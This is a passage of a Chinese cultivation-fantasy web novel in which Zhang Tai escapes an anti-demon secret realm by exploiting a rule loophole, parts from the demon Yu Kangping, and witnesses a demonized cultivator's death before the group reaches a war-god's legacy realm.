顺利与禹康平会面,都不用张苔多说,他迅速进行附身,张苔用意念迅速将自己的打算说了。
令张苔欣喜的是,宫殿外边也有那明面上的四条规则,这让她沟通起来容易不少。
“我现在就是想让你,去做第四份灵力的供应者,规则二前边的条件是,‘不再需要五位不同修士的灵力,且现场只有四位修士’,而我现在提供的是四位不同修士和一位魔物的灵力,且现场也不只有四位修士,还有很多魔物。”
禹康平表示不看好,“你这是在咬文嚼字、强词夺理。这条规则是在强调一根灵柱同一位修士的灵力不可重复利用,以及后期这条规则会失效。”
张苔一边赶往之前孙元留在角落中的那根灵柱,一边在意念中反驳,“那也是秘境布置者不够严谨,反正要是行不通,就是这个抗魔秘境层次低。”
来到那根灵柱面前,张苔让禹康平出来赶紧输灵力,等待期间看到透明的灵柱中是一面残破的古铜镜,不用想,也是一件残缺神器。
可惜自己拿不走。
这个结论是从孙博朗那边得出来的,散布全场的神识,收集到信息让张苔知晓,孙博朗见另外三人从灵柱中拿东西,他也在就近灵柱中尝试过,成功了。
但不了解他那边情况的魏敏贞一拿到对应残缺神器的另外部分,就赶到他身边准备去救场,结果看见孙博朗也拿着残缺版神器大杀四方。
于是魏敏贞便再度朝着附近灵柱伸出手,但这次却无功而返。
不过闲着也是闲着,张苔也试着去取了一下,果然不像当初拿到铁棺一样,灵柱仿若不存在让她能够直捣黄龙,这次她的手砸在灵柱之上发出沉闷的声响。
好在禹康平此时也完成了第四份灵力的提供,没有被她的突然行事给打搅,并再度附身于她。
张苔迅速接上,开始输入第五份灵力,毕竟持有的神器有效时间有限,早点验证完,不行她还能找找魏敏贞去汇合。
23. 出境
随着灵柱上的数字跳到“伍”,灵柱边缘有靛蓝色微光渗出,朝她笼罩而来。
和之前那些即将被传送的第五位灵力提供者别无二致。
张苔欣喜若狂,坦诚而言,如禹康平先前所说,她是不怎么报希望的,但这个漏洞她发现都发现了,不去试验一下心底就是不舒坦,没想到还真成功了。
传送离开前,可能有些自作多情另外三位会关心自己的存在与状态,但总归还是要知会一声,于是她大喊道,“诸位道友,我先走一步了!”
话落,仿若沉入水中,短暂的失重伴随一阵窒息感后,张苔踉跄两步,脚下传来青草柔软的触感,迎面恰有微风,带着泥土和野花的清醒气息,余光还隐隐约约看到了四周的人影。
这是真的传送出来了?
张苔那颗心是彻底落地,四周其余修士显然也察觉到了这边的动静,有赤云宫弟子围上来,“张苔,魏师姐呢?怎么是你最先传送出来了。”
张苔回答,“我跟魏道友出来的方式不同,她应该会按照第二阶段,众魔环绕之时的规则行事找出口,而我也不知道走了什么狗屎运,被追杀的时候误踩到一个传送阵,就出来了。”
明耳人都能明白她不想详说,在打马虎眼,但也不会再问。
若是没听出来问细节,她就继续编,若是不识趣质问她,她也不怕,理直气壮回到底是自己从里边出来还是他从里边出来,这么关心魏师姐,当初怎么不留下来陪伴魏师姐?
应付了一会儿,她忽而察觉不对劲,禹康平附身在自己身上跟着出来了吗?跟着出来了怎么不出声,让自己赶紧换个隐蔽地地方让祂脱离,然后离开。
“失陪一下,我去给宗门的亲友发张传讯符道个平安。”
“传讯符传不出去的,就连离开,无论怎么走,走不了多久,还会回到这里。”
张苔从环绕的几人中走出,撞上了过来的孙元。
见到张苔还真能活着从抗魔秘境中脱身,最高兴的莫过于孙元,不过这份高兴中也掺杂了些许隐忧。
他们这群人真的离开抗魔秘境了吗?明明上一轮的规则中确凿写了,是最终一轮,规则二上的文字也是“传送离开抗魔秘境”。
可都彻底脱离秘境了,为何还走不出这片区域,连传讯符都发不出?
估计这也是这群赤云宫弟子特别关心魏敏贞的缘故,他们需要魏敏贞来解惑。
张苔顾及不了这么多,“就算是这样,我也得先尝试尝试。”
找了个僻静处,张苔拿出传讯符做做样子,小声唤了好几声禹康平。
就在张苔以为对方确实没跟着出来的时,禹康平回应了,一缕黑烟从她身体中出来,回归他的本来模样。
“状态比较差,刚刚昏迷过去了。”
张苔转头,正对上禹康平苍白如纸的脸。
身形也比先前透明许多,仿佛一阵风就能吹散,之前完全没有的黑烟开始冒出,在他周身断续浮动,像一盏将熄的灯。
“啧,这抗魔秘境对魔物真狠,都最后出来了,还不忘死命削弱一把,还真对得起那抗魔的名号,不过,你命保住了就行。”
禹康平没反驳,事实上,祂这个状态跟神通的反噬有关。
当时在听了张苔的那番话后,对着灵柱输灵力,祂那时灵时不灵的神通又毫无征兆地有动静了。
神通表示,正常来说,张苔这种投机取巧,是出不来的,只是出于某种条件加上祂的神通配合也能强行钻空子。
输完灵力迫使灵柱上的数字变动到“肆”,之后祂一直在强撑,最后确保自己跟着传送出去了,心神一松,且又有传送的晕眩感冲击,便昏了过去。
昏过去之前,神通还传达了它会隐匿蓄积一段时间,让祂之后在它恢复醒转前悠着点,免得捅了什么篓子没有救命底牌。
瞧这神通说的,祂本来好好地规矩约束着自己,准备就在没什么人烟的大陆西北域了却一生,若不是神通指引,祂压根不会在外转悠。
变为魔物后,祂做不到像仙盟号召的那样自行了却,也害怕自己克制不了本能去吞元弑杀曾经的同类,如此在大陆西北域过着苦行僧样的生活是最佳选择。
谁知道有一天就突然获得了此神通,还让自己在不久后响应一位魔君的号召来到中州。
无奈祂只能撑着看到周围凡人,却只能压抑着自己不去吸□□元的痛苦,直到碰上郑尔雅,神通让自己随着其余魔物跟紧此人,然后才进入到此抗魔秘境中。
不得不说,这一趟物质上的收获是有的,至少祂拥有了一件中等仙器,以及完整的气运类骰子神器。
面对萍水相逢的张苔,这些祂自然不会悉数交代,好在对方也没有纠缠在这个问题上,而是叹气将出来后的情况跟祂做了介绍。
张苔扬了扬手中的传讯符,“我本来也不信,结果这东西还真用不了,现在你恐怕得好好躲一会儿,看这群修士的意思,是要等魏敏贞出来再去弄清楚具体怎么回事。”
禹康平表示无妨,“我是响应一位魔君号召才来得中州。”
“只要不在抗魔秘境这种对我们魔物有针对性的区域,只要切断这丝联系,我便可以从哪来回哪去。”
张苔心底竟萌生出一丝不舍:“那你这就要走了啊?”
到底是共患难、生死相托过大半个秘境,而对方还挺靠谱,就此一别,恐怕就是茫茫人海,彻底不能相见。
说句实在话,若是一个月前,有人告诉张苔,一月后她会对一个魔物产生不舍的情绪,张苔一定会认为对方脑子坏了,魔物与修士势不两立,见面不是你死就是我沦为你的盘中餐。
总归而言,是禹康平在大批魔物中,实在是特殊的存在,而张苔不想完全跟这么一个特殊彻底断联。
“你们魔物能用传讯符吗?修士和魔物之间有没有彼此相联系的方式?”
禹康平一言难尽地看了张苔一眼,“你在想什么?绝了这个心思吧,而且我也不认为我们两个之后还需要有什么交集的必要。”
张苔忽而想到自己储物法器中的一堆鸡肋宝器,直接忽略了禹康平说了什么。
“你等等哈...对的,就是这个。”
张苔拿出一个朴素的吊坠递给禹康平,“追踪类上等宝器,不克制魔物,你把这个带在身上,距离我越近,我感知越强烈。”
作为追踪法器,确实比较鸡肋,当你把这法器放到追踪对象身上,这么明显的一个大物件,追踪对象可以瞬间知晓,神识一扫,哦豁,暗处有人追踪我,然后把这法器摧毁了。
除非这个追踪对象是你道侣,明明一个传讯符可以解决的事,但你道侣还是愿意跟你玩点情趣。
张苔倒是没有那么重口味,要和魔物来段什么,她的意图很明显。
“以后咱们可以互为魔物界与修士界的人脉了。”
禹康平神识扫过这件宝器,祂嘴角抽抽,并不认为自己需要修士界的人脉。
但终归还是没反驳什么,将东西拿上了,“那就后会有期。”
*
见禹康平化为黑雾消散在空气中后,张苔小心继续一边往树干上划着标记,一边继续沿着一个方向往外走。
果不其然如孙元所说,很快她就在前方看到了一众人影,是赤云宫和玄天宗的一群修士。
可能懈怠懒惰是有传染性的,从抗魔秘境出来后的大部分修士都在此处等待魏敏贞,只有极个别修士尝试着解开此处的怪异现象。
毕竟比起无意间触发什么杀身之祸,不如等大佬来一力降十会。
张苔见此,也不急着找相关线索,准备先看看自己的神器是否补齐了再说。
结果自然是补齐了的,那个残缺版盒盖,现在变成了一具缩小版漆黑泛着幽光的铁棺,连名字都变了。
[阳煞驭魔柩,成长型神器,控制类,核心主材:某任魔帝颅骨、十阶血炼冥铁、摄魂丝、千年怨灵髓、十阶大日精金,在甲子年极阳之日,借地脉真火熔铸而成。
特性:1.镇压:可强行禁锢比持有者高一个大境界以内的所有魔物,禁锢时间视持有者能力和状态而定,燃烧精血可增加效果。
2.操纵,镇压禁锢的魔物可入棺,魔物入棺镇压会持续消耗持有者灵力和占据部分神识,同时,只要持有者在此期间以神魂不断侵蚀魔物,侵蚀完成,可使其听命于持有者行事。
3.成长,随着持有者实力上升,神器统御魔物数量与质量也在上升,只要持有者实力够强,最终可进阶为「万魔统御之器」。
备注:神器发挥效果和持有者实力息息相关,实力是多方面的,不仅仅局限于修为,请持有者稳扎稳打脚踏实地去提升自我,莫要埋没了神器。]
此神器绝了,上限真特么高,但于她而言不是怎么很适用。
张苔在心底给出评价,特性的第二点第三点真的大失所望好吧,她一个宗门外门金丹修士,跟魔物打交道也就一年一次的频率,而且最后那条备注,她很有自知之明自己会辱没这件神器。
可若是进行售卖抑或上交宗门换取什么,无疑会把自己暴露。
她一个平庸无名之辈,如此厉害的神器哪来的?
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身上还有没有别的好东西?此举把她推向一个小孩持金过闹市的局面。
作为底层人士在修仙界混迹了也有大几十年,她何尝不知人性之恶,就得以最大的恶意来揣测那些上层修士的嘴脸。
一旦得知自己没有足够的武力、背后没有足够的势力,他们中的谁都可以来盘剥掉自己一层,不仅用神器换到的东西,会一一还回去,身上别的好东西也保不住,甚至一个万一,连命都能丢了。
算了,好歹是个神器,就算作用不大也无法换出去,摆在储物法器中当个点缀也是不错的。
张苔起身,准备好好研究跟个鬼打墙似的此处。
*
当然,最终张苔是没研究出什么的,她怕中途出现什么意外,就在人群附近进行打量探查,这样若是自己遇到什么危机,还能被及时拉一把。
且她也不想错过魏敏贞从秘境中出来时,学习对方遭遇这种情形又是如何行事。
魏敏贞从抗魔秘境出来时,被一众人围着的时候还惊诧了一下,在一伙人七嘴八舌的你一句我一句中,也明白了是怎么回事。
她率先看向赤云宫中的唯一那位阵修,“梓丽,是否是阵法?无论往哪个方向都会走回此处,此处是否为阵眼?”
阵修摇摇头,“整片区域应该未设置阵法,此处也不是阵眼,且无法用阵法阴阳五行八卦等破开这种现象。”
赤云宫又有一位修士插入道,“至少可以排除幻阵等幻术幻象幻境类,我有一瞳术功法,对幻术一类比较敏感,这些草地树木的确都是真实存在的。”
魏敏贞颔首,转向一位单火灵根男修,“志杰,暴力破巧呢?有没有试过用强攻彻底破坏这片环境?”
单火灵根男修一板一眼回答:“尝试过,无用,这些草木都被一股不知名力量保护着,不可以造成多大的损毁,留下一些划痕不就之后也会复原。”
魏敏贞:“你们其余人还做过什么探索尝试,有发现什么信息,都可以告知于我,我好选择破解此种现象的方向。”
之前在灵柱宫殿抽签号为十五的修士道,“我最先出来也是最先发现不对劲的,试过闭眼倒着走,制造大动静听回声,睡一觉醒来看事态能否有所改变,都失败了。”
其余修士也纷纷表示做了差不多的举动,还补充了诸如点火看火苗方向、倒立行走、依照指南针等等。
张苔也补充了一项,就是她发现此处森林草地,无动物灵兽妖兽出没,无水流,且木系术法对草木的操纵也有所减弱。
有一点她没好意思提,受先前抗魔秘境动不动需要修士鲜血影响,她还放过血,这种又受痛又不讨好的行为说出来实在显得她有点傻。
总的而言,听这些人探索所做的努力,对张苔还是挺有启发的,以后若是倒霉再度碰到类似情况,都可以尝试一下。
现场再无修士发声之后,魏敏贞道,“所以,利用阵法、暴力、破幻、自然规律等都无法破局,接下来我们试一下因果怨灵这类的。”
然后她喊了几个名字,“你们为一组探索以此地为基点的西面。”
又另外安排了三组人分别探查东、北、南方向,,他们玄天宗的人为一组负责南面,“着重观察看是否有反复出现的墓碑、黑影等,同时也多多留意一下同行同伴的情况,以免有人着了道。”
闻言张苔还是一如既往地在心底对魏敏贞的能力表示佩服,这个破局方式可以说给了她启发。
鬼打墙鬼打墙,鬼自开头,与因果怨灵相关还真不是没可能。
事实证明魏敏贞这个破局方向是对的,在场修士发现此处森林草地的中几处格外阴森的地方发现被分割开的残骸,颅骨、左右臂骨、左右腿骨、胸骨、肋骨等等。
魏敏贞让大家把这些残骨在最开始无论他们怎么走都会回到的地方拼接埋葬,又经过一番诵经念佛、焚香祭拜。
这些仪式过后,众人只觉身体一轻。
有修士发问,“现在,是可以离开了吧?”
另外有动作快点的,已经拿出地图类灵具的修士则失望喊出声,“怎么回事,我的地图灵具还是无法显示。”
这时,大地突然震颤,树木开始纷纷移动,延伸出一条道路来。
个别修士有些崩溃,“我的老天爷诶,我们不是出了抗魔秘境了吗?确认不在秘境中了吗?我怎么感觉秘境完全没有结束的意思。”
若不是禹康平早走得没影了,张苔也要怀疑。
不过事态已经这样了,无论如何,大家也只能走一步看一步,于是又纷纷踏上这条新出来的道路。
24. 知情
张苔刚随着人群往前走了不到几步,就捕捉到耳畔掀起的气流。
她身形一退,避开老远,才知晓赤云宫中居然有人要自戕!!
好在被魏敏贞顺手阻止了。
自戕的人她恰好知道名字,正是被赞誉为好道侣人选的孙博朗。
此刻抱着孙博朗大哭的女修,嘴里苦劝着些什么。
“阿朗啊,你怎么能做这种傻事呢?”
“咱们说好的,以后你要单独包场给我一个盛大的结侣大典,你不能食言呐。”
“阿朗,你究竟怎么了,为什么突然要抛下我?”
此时不少修士见不是秘境杀机之类的,心下松了口气,也围拢过来,想看看究竟怎么回事。
而孙博朗始终低头垂眸,紧锁着眉头,不发一言,像是在压抑着什么。
还是旁边的郑尔雅突然笃定道,“他已经彻底魔化,沦为魔物了。”
这话仿若平地惊雷,环绕着孙博朗道侣二人的众修士们纷纷惊得再度跑开。
抱着孙博朗的女修当即转头对郑尔雅怒目而视,“你不要胡说!”
郑尔雅耸肩,“先前我们三人出来之前,他确实被那个脖子上戴着铃铛的魔将附身过,虽然我们后续给帮忙摆脱出来,但也很难保证附身期间对方没使用吞元。”
“而且,若是未魔化,他为何要自戕,从踏入仙途起,没有一位尊长不日日耳提面命,但凡察觉己身魔化,当立即自绝,这不仅是为人族大义、亲人安危,更是对入魔者本身最后的解脱。”
女修无从反驳,现场亦一片安静。
尽管大家素日里,都尽量避免去假设自己万一终有一日也沦为魔物了的场景,但在设想里,真有这天,也会如正道修士联盟所训诫的那般,进行自戕吧。
毕竟在认知中,沦为魔物后,将时刻承受对生元的饥渴折磨,焦躁暴虐的心绪反复,如同始终被架在火上炙烤,直至神智湮灭,化作只知杀戮的行尸走肉。
但现实里,真到了那一刻,这么做的修士还是极其少数,不然也不会有如此庞大数量的魔物大军了,但再怎么少,既已如孙博朗这般做了,便很难不让人怀疑他已经沦为魔物。
“师妹,你道侣先前选择自我了断,难保没有怕在未来克制不住自己伤害到你的缘故,若是你真为你道侣着想,应当顺了他的意愿才是。”
“对啊对啊,师妹,刚魔化的修士是最清醒最有本心意识的时候,现在不给他一个解脱,之后你能够保证你面前的师兄还是你师兄吗?”
“之前有个签号是多少的来者,身体中也附身过一个魔卫吧?虽然我们大家用镇魔符把那魔物赶出来又合力杀了,但那位同门的状态也该重新确认一下吧!”
“孙师兄的事情解决之后再说吧,至少那位目前身上还挂着高阶法器吧,高阶法器自带镇魔属性,若已经魔化,法器也会有动静。
说真的,阮师妹,你要接受孙师兄在魔化那一刻就已经死了,能够自绝恐怕都是最后的本心意识为你也是为自己做的最后一次挣扎,你不该如此执迷不悟。”
......
听着一连声对阮姓女修的劝诫,张苔思索了一番,还是目光投向魏敏贞,提出自己的疑惑,“魏道友,修士魔化为魔物后,就真的完全不再是祂本人了吧?真的只能倚靠吞元来延缓癫狂维持清醒吧?一位魔物告知我,祂足有三十多年未曾吞元,但神智始终清醒,也一如既往坚持着从未吞元,祂这明明就是在忽悠我吧!”
她所说的正是禹康平,如果此魔未对自己撒谎的话。
当时在气运赌坊第二轮,等着也是等着,于是她自然而然和对方唠嗑起来,当时听到对方这种论调,她极为震惊且是不信。
这完全和自己这些年所学形成的认知造成了矛盾,魔物不吞元,如何保留最后的意识?
魔物就是以修士为食,像凡人必须食五谷而活,魔物就是修士一生之敌!
所以只能是对方说谎了。
此时也是顺嘴一问,她想印证禹康平的不简单、居心不良,虽然对方有着运气诡异的特点,又算得上自己放在魔物那边的眼睛,但是自己今后若有机会和对方再次合作,定然不能掉以轻心。
她觉得有些可笑,真是的,那只魔物怎么这么邪门?搞得好像自己内心深处是在相信对方,摆出那么多论据只为强行说服自己一样。
“普罗大众有意识来就进学了解,默认形成的共识,难道还能是仙盟高层刻意为之?”
然而让张苔极为震惊的是,魏敏贞没有立时反驳,这无疑是在默认!
当人听到自己一直以来默认的事实,纵使其摆在明面上只能是与之相悖的,遭到驳斥的,往往做不到立时站出来违心去肯定,而是保持沉默。
对方仿若也是才惊觉自己没有在听到这个论调时立即进行肯定,此时再接续上,无疑有种欲盖弥彰的意味。
魏敏贞好半天,才从喉咙中挤出几个字,“从未吞元且意识清醒的百年魔物,确实存在,但这是极少极少的。”
有了这个开头,接下来的话便顺畅了许多。
“仙盟正道官方,不给出所有的事实,也是有所考量的。”
“从未吞元确实能永远保存意识直至死亡,但成为魔物后,几乎不可能不走上吞元的道路,在一个饥肠辘辘的凡人面前,摆一份色香味俱全的饭菜,一天两天还好,长久下来怎能忍住不吃?”
“修士沦为魔物后,尽管还保有意识,但已然不能作为‘人’来看,吞噬生元成为祂们必需,停止便会引发内心焦渴与蚀骨之痛,这种日子看不到尽头,同时认知中反复闪现吞元便能平息一切,心理灼烧和生理疼痛再加上认知诱惑,三管齐下,能够抵挡住,开了吞元这个口子的魔物,万不存一。”
“然而,一旦开了吞元这个口子,后续就由不得祂们这些魔物了,吞元后的畅快体验拥有不了多久,又会回到心理灼烧和生理疼痛再加上认知诱惑,这三重状态。
且最深层的悲剧在于天道规则形成了:祂们需要依
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靠吞元修士来保持清醒,否则加重恍惚混乱没有意识的状态。越是清醒,越要吞元作恶。”
不少修士仍旧感到不忿,“都没有去尝试过,就如此笃定不能让大多数魔物不走上吞元道路?”
“就是,而且将魔物控制在不去吞元的第一阶段,也是在阻止魔物的大规模扩散。”
“事实这般,所以就可以够剥夺我们的知情权吗?”
在一阵修士的激愤中,魏敏贞像是陷入回忆,继续缓缓开口。
“仙盟正道自是尝试过的,第三任战神统领天下期间,对魔物便是秉持管控而不是杀戮为主,但是显然失败了。
从史册中你们也可以看到,堪堪五百余年,战火便蔓延至中州腹地,相比诸位战神,也就比我们这任百余年前上位的第九任战神在任期间长。”
张苔知道这第三位战神的五百年,还是民间不少修士和凡人心照不宣的界碑。
毕竟是逢魔乱世,每次听闻前沿某战场落败抑或经历附近仙城形成魔窟,大家都心内惶惶,深怕某一日就中州沦陷,身陷战乱。
但纵观历史,在位最短的第三任战神,都能维系五百年魔物大军才侵占到中州,故而在每任战神在位不足五百年期间,大家还是比较安心的。
等到每任战神在位五百年之后,无数修士凡人,便纷纷开始往东迁徙。
目前他们所有凡人修士所生存的大陆,被称为元黄大陆,元黄大陆又按照地势被划分被西北、西南、中州、东北、东南五大块,魔物大军聚集在西南域。
鉴于地形以及灵气浓郁和魔物分布的情况等,修士凡人多分布在中州和东南域,当仙盟一方的颓势凸显,普通人退往东南域,未来的存活可能也更大。
气氛间的躁动被一种缓慢而沉重的沉默所取代。
张苔所知的在场修士也知晓,之前他们只以为是第三任战神最为无能,没想到背后还有这样深层次的原因,更是牵扯到世人所不知的有关魔物的特征。
“那么,孙博朗你们是决定非杀不可了吗?”
赤云宫阮姓女修将孙博朗挡在身后,目光如刀一一扫过在场众人。
还不待场中有人发作,孙博朗搭上阮姓女修肩膀,“算了,阿瑶,这大抵是我的命运,我早已咽下剧毒,过去了这么久,早已深入肺腑,不肖半刻,我便会毒发身亡。”
阮姓女修闻言震惊,不解转身回望孙博朗。
孙博朗俊逸的面庞上挂上浅笑,“阿瑶,你不用太过意不去或者觉得愧疚什么的,我一开始是真的认为留下也就走个过场,不会真的有什么危险才与你交换签号的。”
随即又摘下套在小指上的指环,显然这是个储物法器,孙博朗恳切对阮姓女修道,“最后麻烦阿瑶一件事,你知道的,我乡梓的双亲尚在,闲暇时还望阿瑶去看看他们,让他们不要被同乡人给欺负了,他们皆是凡人,最多还剩几十年可活。”
没再看双眼含泪,连连摇头的阮姓女修,像是耗尽最后力气,孙博朗闭上了双眼。
25. 打算
后边就是一群赤云宫的人对阮姓女修的安慰,什么振作起来,不要辜负了孙博朗的心意云云。
只能说人和人的悲欢并不相通,关于这一对苦命鸳鸯,张苔压根没分太多注意力,更别说共情。
解开并知晓魔物的新特征——最初沦为魔物后,只要不吞元,就能彻底避免神智逐渐丧失的结局后,张苔又忧心起来,出去之后怎么办。
既然禹康平能够顺利走脱离开,证明此处绝对是秘境之外,很可能按照树丛给出的路线走一段路后,就真正彻底回归金砂仙城某处。
之后的路途上,她可不敢赌孙元不会为了这五十极品灵石,不对自己动手。
最好的办法还是尽早直接回归宗门,让她暴毙在宗门很简单,然则要在以上情况下拿走她的储物法器,且不被玄天宗给找着痕迹锁定到他们,却是极其艰难。
身处宗门之中,她的魂却灯灭了,至少几个出身自同一仙城的同乡,不会完全坐视不理,上报到明刑峰只是举手之劳。
本宗弟子在本宗之内莫名死亡,宗门的安全性和权威性不容挑衅,明刑峰绝对不遗余力审查此事。
孙元以及她背后的人,应该也明白这个道理,最多继续派人在宗外遵守。
但是派人蹲守也是一笔花销支出,所以也会有个期限,回归宗门后的一年半载,她老老实实安安分分龟缩在宗门里便是,在此之后,孙元抑或孙家再怎么不甘,也不会再把更多的人力物力浪费在自己身上。
想法是很好的,可惜怕就怕凭她自己的本事,恐怕在回到宗门之前,就会被杀掉。
若是她当初没有抠抠搜搜,一个只要身处在中州且状态正常,都可以直接回归宗门的传送阵盘都舍不得买,今天也不会如此为难。
人无前后眼(注①),曾经她就一个普通的穷困修士,好好地行在路上,也用不到直接回归宗门的传送阵盘,毕竟那可是六阶的高阶传送阵盘,足足售卖到三万块下品灵石一件,哪能想到今日偏偏需要了。
不过...
张苔的目光扫过郑尔雅和魏敏贞,于自己而言,万分不划算,绝对不会购入的这种传送阵盘,他们这种八大顶尖宗门的亲传弟子应该手中是有的。
不像外门弟子,所有修炼资源都要靠自己赚取,内门弟子亲传弟子,每个月还能领取宗门俸例。
而宗门的长老更不必说,张苔知到他们玄天宗的某些长老,更是批量购入这种阵盘,每次外出回归宗门,实在不屑于在赶路上浪费时间,直接用阵盘瞬间回归。
于是张苔打定主意待会儿问问那两人,先去一趟赤云宫,再找赤云宫的阵修刻录一件直达玄天宗的传送阵盘。
想到这里,张苔心理放松了不少,还有些隐隐期待。
作为八大顶尖宗门之一,她早就听闻赤云宫的琼楼玉宇、云海仙山实乃绝世盛景,此次前往赤云宫虽是不得不将其作为中转,但能够目睹一番这大陆上人人称颂的仙家胜境,也算是意外之喜。
心中的一件事情落定,她就有心神挪到眼下那对苦命鸳鸯身上。
显然大部分赤云宫修士不再有耐心,若不是碍于魏敏贞的权威,张苔感觉他们现在就想直接动身。
“自己实力和运气不行,能怨怪别人吗?就算当初在灵柱宫殿,魏师姐不站出来制止,就你们两这实力,估计都葬身在宫殿,现在至少还活了你一个,魏师姐还承诺未来照看你,已经赚翻了好吧。”
“对啊,你也不要不甘心孙博朗甚至都没有吞元过,凭什么直接断了他的后路,你也不想想这个信息你又不是事先就知晓的。”
“对啊,我后来倒是想起咱们功法峰的一些封禁区域,必须得达到化神修为抑或宗门贡献点十万才开放。我就想着魏师姐所说的信息是不是从那些区域看到的,然后向魏师姐求证了,还真是。
你若是本身就知晓这些,一开始安抚好孙博朗,又有法子瞒过我们,我倒是敬佩你有几分本事,偏偏你连这个消息渠道都是别人那获取的,有什么脸不甘心?”
“我真要服了,魏师姐,能不能走啊,我真的好累了,从秘境死里逃生,我只想回家呜呜呜。”
*
不久后,魏敏贞还是发话让大家继续前进了。
阮姓女修也没有先前表现的非赖在那不走的架势,将孙博朗的遗体收拾之后,还是跟了上来。
人群中有小声嘲讽的,被他身边那人拦了下来。
张苔也不是很关心这些,随着众人走在两边樟树夹道蔓延的道路上,并顺便往郑尔雅那边靠近。
郑尔雅也察觉到了她的近身而来,还没等她开口,这人就先传音跟她唠嗑起来。
“啧,一开始看孙博朗坦言说替代阮瑶,是真没意识到其中风险,最后跟阮瑶最后提及的也是他的家人,我以为他是在不让阮瑶太有心理负担,也在劝阮瑶不要冲动殉情,他们双方都是有家人的人。”
“结果谁知道那不是这厮的遗言,他还给了我们宗有位男同门发了道传音,你要不要猜猜传音内容。”
张苔还没来得及表示她不想猜,这人又继续,“没想到这厮还真是这么想的,他在跟那同门抱怨。
说他哪能想到留下真有这么凶险,他是爱他道侣,但没爱到真能为她去死啊,但留都留下了,人也魔化了,魏师姐不会放过他了,他还能怎么着,再怎么懊悔只能自认倒霉,好歹还剩个体面。”
一边传音还一边摇头,“果然不要太对世间真情有太高的期待,或者脑补什么,不过论迹不论心,到底这人还是为阮同门死了,我都发散臆想了,何况阮同门,在她的世界里,也是体验了一把,有人爱我至死,啧啧啧。”
对于这些张苔真是半分兴趣都没有,不过如果郑尔雅说的是真的,那么,“你居然能够听到传音内容,现在传音都这么危险了?传音入密都这么不靠谱了?”
尽管张苔转换了话题,但郑尔雅的回复兴致丝毫不减。
“嘿嘿,靠谱还是靠谱的,但你也不看看我是谁,也不跟你卖关子了,大约半个多月前吧,我觉醒了一个还能继续成长的神通,所有的修士在我眼里,身上有着各种大小不一的光点,光点越亮特性越非凡。”
“发动神通,我能够选择一位修士身上的一个光点进行复刻,我发动过一次,然后我多了一项十阶阵师才有的本领。然后这个神通就处于休眠状态了,之后我屡次去调用它,完全不能重现之前的光点状态,就是偶尔能够听到一些传音内容。”
“这不等在那里一直无聊嘛,然后我就心痒,又一直不停地想调动神通,看能不能从魏敏贞身上偷点什么来,结果就...嗯,就是我上面说的那些。”
听到这些传音,张苔想扶额了,现在的神通这么不值钱了吗?
先前才走的禹康平也说过他有神通,有神通了不起,一个个都不知道遮严实点,还炫耀到她眼前来了,是笃定她不能把这群人怎么样?
总归正事要紧,张苔传音了一阵名为嫉妒实为恭贺的话语后,说起了传送阵盘的事。
“我不信,你真的没有咱两认识的记忆?先前你若是不相信记忆的真假谨慎行事倒是情有可原,而今咱们都实实在在同生共死过了,再隐瞒就没意思了。”
郑尔雅的回复神神叨叨的,张苔表示真没有,并再度重申传送阵盘的事情。
对此,郑尔雅表示小事一桩,“你老友我现在可
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是十阶阵师,恰好复刻过来的能力中,有着你们玄天宗的阵引,都不用来我们赤云宫,待会儿我给你现场刻录一个传送至玄天宗西五门的传送阵盘。”
“不过这可不像你的行事作风,我还以为你后续会给出什么诡道奇招。”
给出诡道奇招的人说的是郑尔雅她自己吧,张苔腹诽,不过事情得到解决,也就不在意郑尔雅这个疯癫跳脱的人说了别的什么,专心行路起来。
也不知走了多久,路隐隐能看到尽头。
路的尽头还是一片树木草地,不同的是,这片树木草地上,悬浮着他们再熟悉不过的漩涡,在抗魔秘境中每一轮结束后的漩涡。
而漩涡旁边,还分别打坐着两位化神修士。
见到这幅情境的时候,他们人群中不少修士震惊了,化神修士呐,在日常生活中很难碰到,关键是他们打哪来,怎么就这么突兀出现在这里?
两位高阶修士自然也是察觉他们这群人的到来,其中一位感知到他们距离走进的差不多时,睁开了眼睛,淡声询问,“你们从何处而来?”
化神修士自带气场,直让在座赤云宫玄天宗的不少修士膝盖微软,恨不能把所有一切如实招来。
魏敏贞作为他们这行人的领队,倒是没看到有受什么影响。
她利落往前站出,大大方方回话道,“听闻战神遗藏秘境开启,我们这批弟子自行组织,通过努力费了好一番功夫才抵达此处,若我料想不错,两位尊者身侧就是战神遗藏秘境的入口吧。”
信息量很大的一番话,让在场修士注意力全转移到了这句话上。
孙元更是激动万分,皇天不负苦心人,本以为方向彻底错了,任务绝对泡汤了,没想到能有柳暗花明又一村。
这群修士里,有如孙元这般仍旧热衷于秘境的,恐怕也就两三个。
大多数修士则兴趣缺缺,甚至疲惫至极,对于秘境之类的,实在再难生出半点向往。
还有少部分修士,都不顾及什么化神修士不化神修士了,直接拿出地图类灵具,发现仍旧失效便崩溃着骂骂咧咧。
化神修士不懂这群神色各异、行为古怪的人,也就只对魏敏贞的问题进行回复。
“你们获得的消息太延迟落后了,战神遗藏秘境只剩下最后半个时辰,这点时间甚至不够里边的部分修士赶着出来。”
孙元还是不甘心,顶着化神修士的气场硬着头皮往旋涡那边靠近了些,越过了魏敏贞,“半个时辰也是时间,这可是战神遗藏,我一定要进去一趟。”
这话才落下,就被一股力道不容置疑地给推了回来。
还是先前睁眼发话的那位化神修士,“对不住了,为了保持出入口的稳定,最后这半个时辰,是一定不能再进人的。”
相比于孙元的不甘失落,先前崩溃的修士反来了精神,朝着化神修士询问,“既然尊者说秘境只剩半个时辰后就结束,等那时,我们也就可以离开了,对吗?”
这位化神修士看得出是很没有架子的,听到这句话,瞬间明白了这位之前不顾仪态的原因是什么,对他的疑问进行肯定的同时,还对先前灵具失效做了解释。
“战神遗藏秘境开启期间,自会带动在附近形成场域,灵具失效是很正常的,小友放心,半个时辰之后,战神遗藏秘境关闭,灵具绝对恢复正常并指引着你回家。”
对于不能再进入战神遗藏秘境,魏敏贞虽遗憾,但也接受良好,主要是与同行大多数修士不同,她在抗魔秘境中就已然收获颇丰。
而且关于抗魔秘境与战神遗藏秘境,她个人还有别的想法,于是继续试探道,“我听闻此次战神遗藏秘境,此任战神也进入了,不知真假?”
26. 传送
化神修士闻此问题,神色反倒肃穆了几分,“这本座不知晓,且战神的行踪,我等最好不要进行窥视。”
魏敏贞沉吟,看来对方也不知晓,不过她个人还是认为抗魔秘境和此次的首任战神遗藏秘境,都是出自首任战神的手笔,而且极有可能,若想进入战神遗藏秘境秘境,得先过关抗魔秘境,再走出那片怪异的林子。
只是此任战神既作为战神,自有些手段,可以免除前边的步骤,直接进入战神遗藏秘境。
